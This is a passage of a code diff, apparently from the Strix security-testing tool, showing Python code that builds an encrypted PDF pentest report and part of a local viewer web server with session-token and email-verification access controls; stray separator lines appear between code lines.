backColor=_LIGHT_BG, borderColor=_BORDER, borderWidth=0.5, borderPadding=8,
|
||||
spaceBefore=12, spaceAfter=12,
|
||||
)
|
||||
styles["count"] = ParagraphStyle(
|
||||
"Count", fontName=_SANS_BOLD, fontSize=30, leading=32, alignment=TA_CENTER
|
||||
)
|
||||
styles["count_label"] = ParagraphStyle(
|
||||
"CountLabel", fontName=_SANS_BOLD, fontSize=8, leading=12, textColor=_MUTED,
|
||||
alignment=TA_CENTER, spaceBefore=4,
|
||||
)
|
||||
styles["badge"] = ParagraphStyle(
|
||||
"Badge", fontName=_SANS_BOLD, fontSize=9, leading=11, textColor=colors.white,
|
||||
alignment=TA_CENTER,
|
||||
)
|
||||
styles["confidential"] = ParagraphStyle(
|
||||
"Confidential", fontName=_SANS_BOLD, fontSize=9, leading=12, textColor=colors.white,
|
||||
alignment=TA_CENTER,
|
||||
)
|
||||
return styles
|
||||
|
||||
|
||||
def _parse_time(raw: Any) -> datetime | None:
|
||||
if not isinstance(raw, str) or not raw:
|
||||
return None
|
||||
text = raw.strip().replace(" UTC", "Z").replace(" ", "T")
|
||||
if text.endswith("Z"):
|
||||
text = text[:-1] + "+00:00"
|
||||
try:
|
||||
return datetime.fromisoformat(text)
|
||||
except ValueError:
|
||||
return None
|
||||
|
||||
|
||||
def _fmt_time(raw: Any) -> str:
|
||||
parsed = _parse_time(raw)
|
||||
return parsed.strftime("%Y-%m-%d %H:%M UTC") if parsed else "n/a"
|
||||
|
||||
|
||||
def _duration(start: Any, end: Any) -> str:
|
||||
start_dt = _parse_time(start)
|
||||
end_dt = _parse_time(end)
|
||||
if not start_dt or not end_dt:
|
||||
return "n/a"
|
||||
seconds = int((end_dt - start_dt).total_seconds())
|
||||
if seconds < 0:
|
||||
return "n/a"
|
||||
hours, remainder = divmod(seconds, 3600)
|
||||
minutes, secs = divmod(remainder, 60)
|
||||
if hours:
|
||||
return f"{hours}h {minutes}m {secs}s"
|
||||
if minutes:
|
||||
return f"{minutes}m {secs}s"
|
||||
return f"{secs}s"
|
||||
|
||||
|
||||
def _severity_badge(styles: dict[str, ParagraphStyle], severity: str) -> Table:
|
||||
"""A colored pill matching .severity-badge in the cloud report."""
|
||||
color = _SEVERITY_COLORS.get(severity, _MUTED)
|
||||
cell = Paragraph(severity.upper(), styles["badge"])
|
||||
table = Table([[cell]], colWidths=[len(severity) * 6.5 + 20])
|
||||
table.setStyle(
|
||||
TableStyle(
|
||||
[
|
||||
("BACKGROUND", (0, 0), (-1, -1), color),
|
||||
("TOPPADDING", (0, 0), (-1, -1), 4),
|
||||
("BOTTOMPADDING", (0, 0), (-1, -1), 4),
|
||||
("LEFTPADDING", (0, 0), (-1, -1), 8),
|
||||
("RIGHTPADDING", (0, 0), (-1, -1), 8),
|
||||
("VALIGN", (0, 0), (-1, -1), "MIDDLE"),
|
||||
]
|
||||
)
|
||||
)
|
||||
table.hAlign = "LEFT"
|
||||
return table
|
||||
|
||||
|
||||
def _severity_grid(styles: dict[str, ParagraphStyle], counts: dict[str, int]) -> Table:
|
||||
"""The four-card severity grid from the executive summary."""
|
||||
cells: list[list[Flowable]] = []
|
||||
for name in _SEVERITY_ORDER:
|
||||
color = _SEVERITY_COLORS[name]
|
||||
count_style = ParagraphStyle(f"Count{name}", parent=styles["count"], textColor=color)
|
||||
cells.append(
|
||||
[Paragraph(str(counts.get(name, 0)), count_style),
|
||||
Paragraph(name.upper(), styles["count_label"])]
|
||||
)
|
||||
col = (_PAGE_W - 40 * mm) / 4
|
||||
table = Table([cells], colWidths=[col] * 4)
|
||||
style = [
|
||||
("VALIGN", (0, 0), (-1, -1), "MIDDLE"),
|
||||
("TOPPADDING", (0, 0), (-1, -1), 16),
|
||||
("BOTTOMPADDING", (0, 0), (-1, -1), 16),
|
||||
("GRID", (0, 0), (-1, -1), 0.5, _BORDER),
|
||||
]
|
||||
for index, name in enumerate(_SEVERITY_ORDER):
|
||||
style.append(("LINEABOVE", (index, 0), (index, 0), 3, _SEVERITY_COLORS[name]))
|
||||
table.setStyle(TableStyle(style))
|
||||
return table
|
||||
|
||||
|
||||
def _section(styles: dict[str, ParagraphStyle], title: str) -> Table:
|
||||
"""Section title with the underline rule from h2.section-title."""
|
||||
table = Table([[Paragraph(_esc(title), styles["section"])]], colWidths=[_PAGE_W - 40 * mm])
|
||||
table.setStyle(
|
||||
TableStyle(
|
||||
[
|
||||
("LINEBELOW", (0, 0), (-1, -1), 1, _BORDER),
|
||||
("BOTTOMPADDING", (0, 0), (-1, -1), 10),
|
||||
("LEFTPADDING", (0, 0), (-1, -1), 0),
|
||||
("RIGHTPADDING", (0, 0), (-1, -1), 0),
|
||||
("TOPPADDING", (0, 0), (-1, -1), 0),
|
||||
]
|
||||
)
|
||||
)
|
||||
return table
|
||||
|
||||
|
||||
def _cover(
|
||||
styles: dict[str, ParagraphStyle], record: dict[str, Any], run_name: str
|
||||
) -> list[Flowable]:
|
||||
header = Table(
|
||||
[[_LogoMark(30), Paragraph("Strix", styles["wordmark"])]],
|
||||
colWidths=[38, _PAGE_W - 40 * mm - 38],
|
||||
)
|
||||
header.setStyle(
|
||||
TableStyle(
|
||||
[
|
||||
("VALIGN", (0, 0), (-1, -1), "MIDDLE"),
|
||||
("LEFTPADDING", (0, 0), (-1, -1), 0),
|
||||
("RIGHTPADDING", (0, 0), (-1, -1), 0),
|
||||
("TOPPADDING", (0, 0), (-1, -1), 0),
|
||||
("BOTTOMPADDING", (0, 0), (-1, -1), 0),
|
||||
]
|
||||
)
|
||||
)
|
||||
|
||||
target = primary_target(record) or "Target"
|
||||
meta_rows = [
|
||||
("TARGET", primary_target(record) or "unknown target"),
|
||||
("RUN", run_name),
|
||||
("SCAN MODE", str(record.get("scan_mode") or "n/a")),
|
||||
("STATUS", str(record.get("status") or "n/a")),
|
||||
("STARTED", _fmt_time(record.get("start_time"))),
|
||||
("COMPLETED", _fmt_time(record.get("end_time"))),
|
||||
("DURATION", _duration(record.get("start_time"), record.get("end_time"))),
|
||||
]
|
||||
meta_table = Table(
|
||||
[[Paragraph(label, styles["meta_label"]), Paragraph(_esc(value), styles["meta_value"])]
|
||||
for label, value in meta_rows],
|
||||
colWidths=[38 * mm, _PAGE_W - 40 * mm - 38 * mm],
|
||||
)
|
||||
meta_table.setStyle(
|
||||
TableStyle(
|
||||
[
|
||||
("VALIGN", (0, 0), (-1, -1), "TOP"),
|
||||
("LEFTPADDING", (0, 0), (-1, -1), 0),
|
||||
("TOPPADDING", (0, 0), (-1, -1), 6),
|
||||
("BOTTOMPADDING", (0, 0), (-1, -1), 6),
|
||||
("LINEBELOW", (0, 0), (-1, -2), 0.5, _BORDER),
|
||||
]
|
||||
)
|
||||
)
|
||||
|
||||
confidential = Table([[Paragraph("CONFIDENTIAL", styles["confidential"])]], colWidths=[120])
|
||||
confidential.setStyle(
|
||||
TableStyle(
|
||||
[
|
||||
("BACKGROUND", (0, 0), (-1, -1), _INK),
|
||||
("TOPPADDING", (0, 0), (-1, -1), 8),
|
||||
("BOTTOMPADDING", (0, 0), (-1, -1), 8),
|
||||
("VALIGN", (0, 0), (-1, -1), "MIDDLE"),
|
||||
]
|
||||
)
|
||||
)
|
||||
confidential.hAlign = "CENTER"
|
||||
|
||||
return [
|
||||
header,
|
||||
Spacer(1, 150),
|
||||
Paragraph("PENETRATION TEST REPORT", styles["badge_label"]),
|
||||
Spacer(1, 20),
|
||||
Paragraph("Security Assessment", styles["cover_title"]),
|
||||
Paragraph(_esc(target), styles["cover_org"]),
|
||||
Spacer(1, 28),
|
||||
meta_table,
|
||||
Spacer(1, 90),
|
||||
confidential,
|
||||
PageBreak(),
|
||||
]
|
||||
|
||||
|
||||
def _inline_md(text: str) -> str:
|
||||
"""Convert inline markdown (bold, italic, `code`) to reportlab markup.
|
||||
|
||||
Code spans are stashed as placeholders before bold/italic run, so bold that
|
||||
wraps a code span (``**`x`**``) works and code contents are never mangled.
|
||||
"""
|
||||
codes: list[str] = []
|
||||
|
||||
def _stash(match: re.Match[str]) -> str:
|
||||
codes.append(match.group(1))
|
||||
return f"\x00{len(codes) - 1}\x00"
|
||||
|
||||
seg = html.escape(re.sub(r"`([^`]+)`", _stash, text))
|
||||
seg = re.sub(r"\*\*(.+?)\*\*", r"<b>\1</b>", seg)
|
||||
seg = re.sub(r"__(.+?)__", r"<b>\1</b>", seg)
|
||||
seg = re.sub(r"\*(.+?)\*", r"<i>\1</i>", seg)
|
||||
|
||||
def _restore(match: re.Match[str]) -> str:
|
||||
inner = html.escape(codes[int(match.group(1))])
|
||||
return f'<font face="{_MONO}" color="#b31d28">{inner}</font>'
|
||||
|
||||
return re.sub(r"\x00(\d+)\x00", _restore, seg)
|
||||
|
||||
|
||||
def _strip_leading_heading(md: str) -> str:
|
||||
"""Drop a single leading markdown heading (each section adds its own title)."""
|
||||
lines = md.lstrip("\n").split("\n")
|
||||
if lines and re.match(r"^#{1,6}\s+", lines[0].strip()):
|
||||
return "\n".join(lines[1:]).lstrip("\n")
|
||||
return md
|
||||
|
||||
|
||||
def _markdown_flowables( # noqa: PLR0915 - cohesive block parser, splitting hurts clarity
|
||||
md: str, styles: dict[str, ParagraphStyle]
|
||||
) -> list[Flowable]:
|
||||
"""Render a markdown block (headings, lists, fenced code, prose) to flowables."""
|
||||
flow: list[Flowable] = []
|
||||
para: list[str] = []
|
||||
bullets: list[tuple[str, str]] = []
|
||||
|
||||
def flush_para() -> None:
|
||||
if para:
|
||||
flow.append(Paragraph(_inline_md(" ".join(para)), styles["body"]))
|
||||
para.clear()
|
||||
|
||||
def flush_bullets() -> None:
|
||||
for marker, item in bullets:
|
||||
flow.append(Paragraph(f"{marker} {_inline_md(item)}", styles["bullet"]))
|
||||
bullets.clear()
|
||||
|
||||
lines = md.replace("\r\n", "\n").split("\n")
|
||||
i = 0
|
||||
while i < len(lines):
|
||||
stripped = lines[i].strip()
|
||||
if stripped.startswith("```"):
|
||||
flush_para()
|
||||
flush_bullets()
|
||||
i += 1
|
||||
code: list[str] = []
|
||||
while i < len(lines) and not lines[i].strip().startswith("```"):
|
||||
code.append(lines[i])
|
||||
i += 1
|
||||
i += 1 # closing fence
|
||||
flow.append(Paragraph(_esc("\n".join(code)) or " ", styles["code"]))
|
||||
continue
|
||||
if not stripped:
|
||||
flush_para()
|
||||
flush_bullets()
|
||||
i += 1
|
||||
continue
|
||||
heading = re.match(r"^(#{1,6})\s+(.*)$", stripped)
|
||||
if heading:
|
||||
flush_para()
|
||||
flush_bullets()
|
||||
flow.append(Paragraph(_inline_md(heading.group(2)), styles["md_heading"]))
|
||||
i += 1
|
||||
continue
|
||||
ordered = re.match(r"^(\d+)\.\s+(.*)$", stripped)
|
||||
unordered = re.match(r"^[-*+]\s+(.*)$", stripped)
|
||||
if ordered:
|
||||
flush_para()
|
||||
bullets.append((f"{ordered.group(1)}.", ordered.group(2)))
|
||||
i += 1
|
||||
continue
|
||||
if unordered:
|
||||
flush_para()
|
||||
bullets.append(("•", unordered.group(1)))
|
||||
i += 1
|
||||
continue
|
||||
flush_bullets()
|
||||
para.append(stripped)
|
||||
i += 1
|
||||
|
||||
flush_para()
|
||||
flush_bullets()
|
||||
return flow
|
||||
|
||||
|
||||
def _field_block(
|
||||
styles: dict[str, ParagraphStyle], label: str, value: Any, *, code: bool = False
|
||||
) -> list[Flowable]:
|
||||
if value is None or (isinstance(value, str) and not value.strip()):
|
||||
return []
|
||||
flow: list[Flowable] = [Paragraph(label.upper(), styles["field_label"])]
|
||||
if code:
|
||||
flow.append(Paragraph(_esc(value), styles["code"]))
|
||||
else:
|
||||
flow.extend(_markdown_flowables(str(value), styles))
|
||||
return flow
|
||||
|
||||
|
||||
def _finding_flowables(
|
||||
styles: dict[str, ParagraphStyle], index: int, vuln: dict[str, Any]
|
||||
) -> list[Flowable]:
|
||||
title = vuln.get("title") or "Untitled finding"
|
||||
severity = str(vuln.get("severity") or "").lower().strip() or "low"
|
||||
|
||||
meta_bits = []
|
||||
if vuln.get("cvss") is not None:
|
||||
meta_bits.append(f"<b>CVSS</b> {_esc(vuln.get('cvss'))}")
|
||||
meta_bits.extend(
|
||||
f"<b>{key.title()}</b> {_esc(vuln.get(key))}"
|
||||
for key in ("target", "endpoint", "method")
|
||||
if vuln.get(key)
|
||||
)
|
||||
|
||||
header: list[Flowable] = [
|
||||
Paragraph(f"{index}. {_esc(title)}", styles["finding"]),
|
||||
Spacer(1, 4),
|
||||
_severity_badge(styles, severity),
|
||||
]
|
||||
if meta_bits:
|
||||
header.append(Paragraph(" ".join(meta_bits), styles["meta_inline"]))
|
||||
|
||||
story: list[Flowable] = [KeepTogether(header)]
|
||||
story.extend(_field_block(styles, "Description", vuln.get("description")))
|
||||
story.extend(_field_block(styles, "Impact", vuln.get("impact")))
|
||||
story.extend(_field_block(styles, "Technical analysis", vuln.get("technical_analysis")))
|
||||
story.extend(_field_block(styles, "Proof of concept", vuln.get("poc_description")))
|
||||
story.extend(_field_block(styles, "PoC script", vuln.get("poc_script_code"), code=True))
|
||||
story.extend(_field_block(styles, "Evidence", vuln.get("evidence"), code=True))
|
||||
|
||||
remediation = vuln.get("remediation_steps")
|
||||
if isinstance(remediation, list):
|
||||
remediation = "\n".join(str(step) for step in remediation)
|
||||
story.extend(_field_block(styles, "Remediation", remediation))
|
||||
|
||||
story.append(Spacer(1, 22))
|
||||
return story
|
||||
|
||||
|
||||
def _overview_flowables(
|
||||
styles: dict[str, ParagraphStyle], record: dict[str, Any], total: int, counts: dict[str, int]
|
||||
) -> list[Flowable]:
|
||||
story: list[Flowable] = [
|
||||
_section(styles, "Executive Summary"),
|
||||
Spacer(1, 16),
|
||||
_severity_grid(styles, counts),
|
||||
Spacer(1, 10),
|
||||
Paragraph(f"<b>{total}</b> total findings across this assessment.", styles["body"]),
|
||||
]
|
||||
scan_results = record.get("scan_results")
|
||||
if not isinstance(scan_results, dict):
|
||||
return story
|
||||
summary = scan_results.get("executive_summary")
|
||||
if isinstance(summary, str) and summary.strip():
|
||||
story.append(Spacer(1, 16))
|
||||
story.extend(_markdown_flowables(_strip_leading_heading(summary), styles))
|
||||
for label, key in (
|
||||
("Methodology", "methodology"),
|
||||
("Technical Analysis", "technical_analysis"),
|
||||
("Recommendations", "recommendations"),
|
||||
):
|
||||
value = scan_results.get(key)
|
||||
if isinstance(value, str) and value.strip():
|
||||
story.append(Spacer(1, 20))
|
||||
story.append(_section(styles, label))
|
||||
story.append(Spacer(1, 12))
|
||||
story.extend(_markdown_flowables(_strip_leading_heading(value), styles))
|
||||
return story
|
||||
|
||||
|
||||
def generate_report_pdf(run_dir: Path) -> bytes:
|
||||
"""Render a branded, full-detail PDF report for the run at ``run_dir``."""
|
||||
record = read_run_summary(run_dir)
|
||||
vulns = [v for v in read_vulnerabilities(run_dir) if isinstance(v, dict)]
|
||||
counts = severity_counts(vulns)
|
||||
run_name = str(record.get("run_name") or run_dir.name)
|
||||
|
||||
styles = _styles()
|
||||
buffer = BytesIO()
|
||||
doc = SimpleDocTemplate(
|
||||
buffer,
|
||||
pagesize=A4,
|
||||
title="Strix Security Report",
|
||||
author="Strix",
|
||||
leftMargin=20 * mm,
|
||||
rightMargin=20 * mm,
|
||||
topMargin=22 * mm,
|
||||
bottomMargin=24 * mm,
|
||||
)
|
||||
|
||||
story: list[Flowable] = []
|
||||
story.extend(_cover(styles, record, run_name))
|
||||
story.extend(_overview_flowables(styles, record, len(vulns), counts))
|
||||
|
||||
story.append(PageBreak())
|
||||
story.append(_section(styles, "Findings"))
|
||||
story.append(Spacer(1, 16))
|
||||
if vulns:
|
||||
for index, vuln in enumerate(vulns, start=1):
|
||||
story.extend(_finding_flowables(styles, index, vuln))
|
||||
else:
|
||||
story.append(Paragraph("No findings were recorded for this run.", styles["body"]))
|
||||
|
||||
doc.build(story, canvasmaker=_NumberedCanvas)
|
||||
return buffer.getvalue()
|
||||
|
||||
|
||||
def generate_password() -> str:
|
||||
"""Return a >=20 character URL-safe password from a CSPRNG."""
|
||||
return secrets.token_urlsafe(16)
|
||||
|
||||
|
||||
def encrypt_pdf(pdf_bytes: bytes, password: str) -> bytes:
|
||||
"""Encrypt a PDF with AES-256 using ``password`` as the user password."""
|
||||
reader = PdfReader(BytesIO(pdf_bytes))
|
||||
writer = PdfWriter()
|
||||
writer.append(reader)
|
||||
writer.encrypt(user_password=password, algorithm="AES-256")
|
||||
out = BytesIO()
|
||||
writer.write(out)
|
||||
return out.getvalue()
|
||||
|
||||
|
||||
def build_encrypted_report(run_dir: Path) -> tuple[bytes, str, str]:
|
||||
"""Build, encrypt, and name the report. Returns (pdf_bytes, password, filename)."""
|
||||
record = read_run_summary(run_dir)
|
||||
run_name = str(record.get("run_name") or run_dir.name)
|
||||
pdf_bytes = generate_report_pdf(run_dir)
|
||||
password = generate_password()
|
||||
encrypted = encrypt_pdf(pdf_bytes, password)
|
||||
filename = f"strix-report-{run_name}.pdf"
|
||||
return encrypted, password, filename
|
||||
|
||||
|
||||
__all__ = [
|
||||
"build_encrypted_report",
|
||||
"encrypt_pdf",
|
||||
"generate_password",
|
||||
"generate_report_pdf",
|
||||
]
|
||||
@@ -1,607 +0,0 @@
|
||||
"""Local HTTP server that serves the viewer SPA and a run's data from disk.
|
||||
|
||||
Design notes:
|
||||
- Uses only the standard library (no new runtime dependency). The workload is
|
||||
serving static files plus a handful of JSON reads off disk, so an async stack
|
||||
buys nothing here.
|
||||
- The browser polls the JSON endpoints (~1s) rather than using SSE: a finished
|
||||
run stops polling, and short-lived polls survive sleep/network blips without
|
||||
server-side connection state, which suits a stdlib ThreadingHTTPServer.
|
||||
- All reads happen per-request straight from disk, so the same server serves a
|
||||
live in-progress run and a finished one identically; the SPA distinguishes
|
||||
them via the ``finished`` flag on /api/run.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import json
|
||||
import logging
|
||||
import mimetypes
|
||||
import secrets
|
||||
import threading
|
||||
import webbrowser
|
||||
from http import HTTPStatus
|
||||
from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer
|
||||
from pathlib import Path
|
||||
from typing import TYPE_CHECKING, Any
|
||||
from urllib.parse import parse_qs, unquote, urlencode, urlsplit
|
||||
|
||||
from strix.core.paths import run_record_path
|
||||
from strix.viewer import auth
|
||||
from strix.viewer.transcript import (
|
||||
build_run_state,
|
||||
primary_target,
|
||||
read_report_markdown,
|
||||
read_run_summary,
|
||||
read_vulnerabilities,
|
||||
severity_counts,
|
||||
)
|
||||
|
||||
|
||||
if TYPE_CHECKING:
|
||||
from collections.abc import Callable
|
||||
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
def bundle_dir() -> Path:
|
||||
"""Directory holding the committed, prebuilt SPA (index.html + assets)."""
|
||||
return Path(__file__).resolve().parent / "static"
|
||||
|
||||
|
||||
def bundle_is_built() -> bool:
|
||||
return (bundle_dir() / "index.html").is_file()
|
||||
|
||||
|
||||
def _iter_run_dirs(base_dir: Path) -> list[Path]:
|
||||
"""Every run directory under ``base_dir``, newest first by record mtime."""
|
||||
if not base_dir.is_dir():
|
||||
return []
|
||||
run_dirs = [child for child in base_dir.iterdir() if run_record_path(child).is_file()]
|
||||
run_dirs.sort(key=lambda child: run_record_path(child).stat().st_mtime, reverse=True)
|
||||
return run_dirs
|
||||
|
||||
|
||||
def run_list_entry(run_dir: Path) -> dict[str, Any]:
|
||||
"""Compact summary of a single run for the history list."""
|
||||
record = read_run_summary(run_dir)
|
||||
return {
|
||||
"name": record.get("run_name") or run_dir.name,
|
||||
"target": primary_target(record),
|
||||
"scan_mode": record.get("scan_mode"),
|
||||
"status": record.get("status"),
|
||||
"start_time": record.get("start_time"),
|
||||
"end_time": record.get("end_time"),
|
||||
"finished": bool(record.get("finished")),
|
||||
"severity_counts": severity_counts(read_vulnerabilities(run_dir)),
|
||||
}
|
||||
|
||||
|
||||
def build_runs_payload(base_dir: Path, *, verified: bool) -> dict[str, Any]:
|
||||
"""The /api/runs payload. Gates the run list behind email verification.
|
||||
|
||||
The count is always advertised so the UI can tease the history, but the
|
||||
entries only appear once the viewer is verified.
|
||||
"""
|
||||
run_dirs = _iter_run_dirs(base_dir)
|
||||
count = len(run_dirs)
|
||||
if not verified:
|
||||
return {"locked": True, "count": count, "runs": []}
|
||||
return {"locked": False, "count": count, "runs": [run_list_entry(d) for d in run_dirs]}
|
||||
|
||||
|
||||
def resolve_run_dir(base_dir: Path, run_param: str | None, default_run_dir: Path) -> Path | None:
|
||||
"""Resolve a ``?run=`` value to a real run directory under ``base_dir``.
|
||||
|
||||
Returns ``default_run_dir`` when no run is requested. Rejects traversal and
|
||||
unknown runs (returns None) so the caller can answer 404.
|
||||
"""
|
||||
if not run_param:
|
||||
return default_run_dir
|
||||
base = base_dir.resolve()
|
||||
candidate = (base / run_param).resolve()
|
||||
# Only direct children of the runs base that actually hold a run record.
|
||||
if candidate.parent != base or not run_record_path(candidate).is_file():
|
||||
return None
|
||||
return candidate
|
||||
|
||||
|
||||
# Name of the cookie carrying the per-process session capability.
|
||||
SESSION_COOKIE = "strix_viewer_session"
|
||||
|
||||
|
||||
class _ViewerState:
|
||||
def __init__(
|
||||
self,
|
||||
run_dir: Path,
|
||||
assets_dir: Path,
|
||||
steer_handler: Callable[[str, str], bool] | None = None,
|
||||
) -> None:
|
||||
self.run_dir = run_dir
|
||||
self.assets_dir = assets_dir
|
||||
# The strix_runs directory that holds the launched run; used to
|
||||
# enumerate and resolve other runs for the history list.
|
||||
self.base_dir = run_dir.parent
|
||||
# Set only when the viewer runs inside a live scan process (the TUI
|
||||
# launcher), which can deliver a message to a running agent. Absent for
|
||||
# standalone ``strix view`` / finished runs, so steering is unavailable.
|
||||
self.steer_handler = steer_handler
|
||||
# Unguessable per-process capability. It is minted here, printed/opened
|
||||
# for the operator who started the server (see ``authorized_url``), and
|
||||
# exchanged for a session cookie only when presented on the initial page
|
||||
# load. It is the request-level authorization the review asked for:
|
||||
# reachability of the port (e.g. when bound with ``--host``) is not
|
||||
# enough to steer a live scan, trigger a report, or browse history --
|
||||
# the token is never handed to a caller who merely reaches ``/``.
|
||||
self.session_token = secrets.token_urlsafe(32)
|
||||
|
||||
|
||||
def _make_handler(state: _ViewerState) -> type[BaseHTTPRequestHandler]:
|
||||
class ViewerHandler(BaseHTTPRequestHandler):
|
||||
server_version = "StrixViewer/1.0"
|
||||
|
||||
def log_message(self, format: str, *args: Any) -> None: # noqa: A002
|
||||
logger.debug("viewer %s - %s", self.address_string(), format % args)
|
||||
|
||||
def do_GET(self) -> None:
|
||||
parts = urlsplit(self.path)
|
||||
path = parts.path
|
||||
try:
|
||||
if path.startswith("/api/"):
|
||||
self._handle_api(path, parse_qs(parts.query))
|
||||
else:
|
||||
self._handle_static(path, parse_qs(parts.query))
|
||||
except BrokenPipeError:
|
||||
# The browser closed the connection mid-response (e.g. it
|
||||
# navigated away between polls). Not an error.
|
||||
logger.debug("viewer client disconnected during %s", path)
|
||||
except Exception:
|
||||
# A bad request must never kill the worker thread.
|
||||
logger.exception("viewer request failed: %s", path)
|
||||
self._send_json(HTTPStatus.INTERNAL_SERVER_ERROR, {"error": "internal error"})
|
||||
|
||||
def do_POST(self) -> None:
|
||||
path = urlsplit(self.path).path
|
||||
try:
|
||||
if path == "/api/event":
|
||||
self._handle_event()
|
||||
elif path == "/api/auth/otp/start":
|
||||
self._handle_otp_start()
|
||||
elif path == "/api/auth/otp/verify":
|
||||
self._handle_otp_verify()
|
||||
elif path == "/api/auth/forget":
|
||||
self._handle_forget()
|
||||
elif path == "/api/report/send":
|
||||
self._handle_report_send()
|
||||
elif path == "/api/feedback":
|
||||
self._handle_feedback()
|
||||
elif path == "/api/agents/steer":
|
||||
self._handle_steer()
|
||||
else:
|
||||
self._send_json(HTTPStatus.NOT_FOUND, {"error": "unknown endpoint"})
|
||||
except BrokenPipeError:
|
||||
logger.debug("viewer client disconnected during POST %s", path)
|
||||
except Exception:
|
||||
# A bad request must never kill the worker thread.
|
||||
logger.exception("viewer request failed: POST %s", path)
|
||||
self._send_json(HTTPStatus.INTERNAL_SERVER_ERROR, {"error": "internal error"})
|
||||
|
||||
def _read_body(self) -> dict[str, Any]:
|
||||
length = int(self.headers.get("Content-Length") or 0)
|
||||
raw = self.rfile.read(length) if length else b""
|
||||
try:
|
||||
body = json.loads(raw or b"{}")
|
||||
except json.JSONDecodeError:
|
||||
return {}
|
||||
return body if isinstance(body, dict) else {}
|
||||
|
||||
# Funnel events the viewer is allowed to forward. This handler is the
|
||||
# trust boundary: only these event names, with only their known props,
|
||||
# ever reach PostHog. Everything else (including any PII) is dropped.
|
||||
_EMAIL_EVENTS = frozenset(
|
||||
{"email_submitted", "email_verified", "report_sent", "work_email_required"}
|
||||
)
|
||||
|
||||
def _handle_event(self) -> None:
|
||||
body = self._read_body()
|
||||
# Forwarded as anonymous PostHog events that respect the global
|
||||
# telemetry opt-out. Never forward the email, code, or report body:
|
||||
# only the whitelisted event names and their known props are passed.
|
||||
event = body.get("event")
|
||||
if event == "cta_clicked":
|
||||
from strix.telemetry import posthog
|
||||
|
||||
cta = str(body.get("cta") or "unknown")
|
||||
surface = body.get("surface")
|
||||
posthog.viewer_cta_clicked(cta, surface=str(surface) if surface else None)
|
||||
elif event in self._EMAIL_EVENTS:
|
||||
from strix.telemetry import posthog
|
||||
|
||||
purpose = body.get("purpose")
|
||||
posthog.viewer_email_event(str(event), purpose=str(purpose) if purpose else None)
|
||||
elif event == "agent_steered":
|
||||
from strix.telemetry import posthog
|
||||
|
||||
posthog.viewer_agent_steered()
|
||||
self.send_response(HTTPStatus.NO_CONTENT)
|
||||
self.end_headers()
|
||||
|
||||
def _handle_api(self, path: str, query: dict[str, list[str]]) -> None:
|
||||
# The launched run is always viewable with no verification. The
|
||||
# cross-run history list (/api/runs) unlocks its entries only for a
|
||||
# caller that holds this process's session capability *and* is email
|
||||
# verified, so merely reaching an exposed --host port never leaks the
|
||||
# run list (the payload still advertises the count as a teaser).
|
||||
if path == "/api/runs":
|
||||
unlocked = self._has_session() and auth.is_verified()
|
||||
payload = build_runs_payload(state.base_dir, verified=unlocked)
|
||||
self._send_json(HTTPStatus.OK, payload)
|
||||
return
|
||||
if path == "/api/capabilities":
|
||||
# Steering is only possible when the viewer shares a live scan's
|
||||
# coordinator + event loop (the TUI launcher wires a handler).
|
||||
self._send_json(HTTPStatus.OK, {"can_steer": state.steer_handler is not None})
|
||||
return
|
||||
if path == "/api/auth/status":
|
||||
self._handle_auth_status()
|
||||
return
|
||||
|
||||
run_values = query.get("run")
|
||||
run_param = run_values[0] if run_values else None
|
||||
run_dir = resolve_run_dir(state.base_dir, run_param, state.run_dir)
|
||||
if run_dir is None:
|
||||
self._send_json(HTTPStatus.NOT_FOUND, {"error": "unknown run"})
|
||||
return
|
||||
|
||||
# The launched run is always viewable. Any *other* run's data is part
|
||||
# of the gated history: it needs this process's session capability
|
||||
# (so merely reaching an exposed --host port is not enough) *and*
|
||||
# email verification -- otherwise knowing a run name would leak its
|
||||
# metadata, vulnerabilities, report, and transcript.
|
||||
if run_dir.resolve() != state.run_dir.resolve():
|
||||
if not self._has_session():
|
||||
self._send_json(HTTPStatus.FORBIDDEN, {"error": "forbidden"})
|
||||
return
|
||||
if not auth.is_verified():
|
||||
self._send_json(HTTPStatus.UNAUTHORIZED, {"error": "unverified"})
|
||||
return
|
||||
|
||||
if path == "/api/run":
|
||||
self._send_json(HTTPStatus.OK, read_run_summary(run_dir))
|
||||
elif path == "/api/vulnerabilities":
|
||||
self._send_json(HTTPStatus.OK, read_vulnerabilities(run_dir))
|
||||
elif path == "/api/report":
|
||||
self._send_json(HTTPStatus.OK, {"markdown": read_report_markdown(run_dir)})
|
||||
elif path == "/api/transcript":
|
||||
self._send_json(HTTPStatus.OK, build_run_state(run_dir))
|
||||
else:
|
||||
self._send_json(HTTPStatus.NOT_FOUND, {"error": "unknown endpoint"})
|
||||
|
||||
def _handle_auth_status(self) -> None:
|
||||
# The cached verified email is only disclosed to a caller holding this
|
||||
# process's session capability, so a cookie-less client on an exposed
|
||||
# --host port cannot read it; everyone else looks unverified.
|
||||
# Verification is reported through is_verified() so an expired record
|
||||
# is advertised as unverified -- otherwise the SPA would suppress
|
||||
# re-verification while history stays locked, stranding the user.
|
||||
if not self._has_session():
|
||||
self._send_json(HTTPStatus.OK, {"verified": False, "email": None})
|
||||
return
|
||||
record = auth.read_auth()
|
||||
self._send_json(
|
||||
HTTPStatus.OK,
|
||||
{
|
||||
"verified": auth.is_verified(),
|
||||
"email": record.get("email") if record else None,
|
||||
},
|
||||
)
|
||||
|
||||
def _handle_otp_start(self) -> None:
|
||||
if not self._has_session():
|
||||
self._send_json(HTTPStatus.FORBIDDEN, {"error": "forbidden"})
|
||||
return
|
||||
email = str(self._read_body().get("email") or "").strip()
|
||||
if not email:
|
||||
self._send_json(HTTPStatus.BAD_REQUEST, {"error": "invalid_email"})
|
||||
return
|
||||
try:
|
||||
auth.otp_start(email)
|
||||
except auth.RelayError as exc:
|
||||
self._send_relay_error(exc)
|
||||
return
|
||||
self._send_json(HTTPStatus.OK, {"ok": True})
|
||||
|
||||
def _handle_otp_verify(self) -> None:
|
||||
if not self._has_session():
|
||||
self._send_json(HTTPStatus.FORBIDDEN, {"error": "forbidden"})
|
||||
return
|
||||
body = self._read_body()
|
||||
email = str(body.get("email") or "").strip()
|
||||
code = str(body.get("code") or "").strip()
|
||||
if not email or not code:
|
||||
self._send_json(HTTPStatus.BAD_REQUEST, {"error": "invalid_code"})
|
||||
return
|
||||
try:
|
||||
result = auth.otp_verify(email, code)
|
||||
except auth.RelayError as exc:
|
||||
self._send_relay_error(exc)
|
||||
return
|
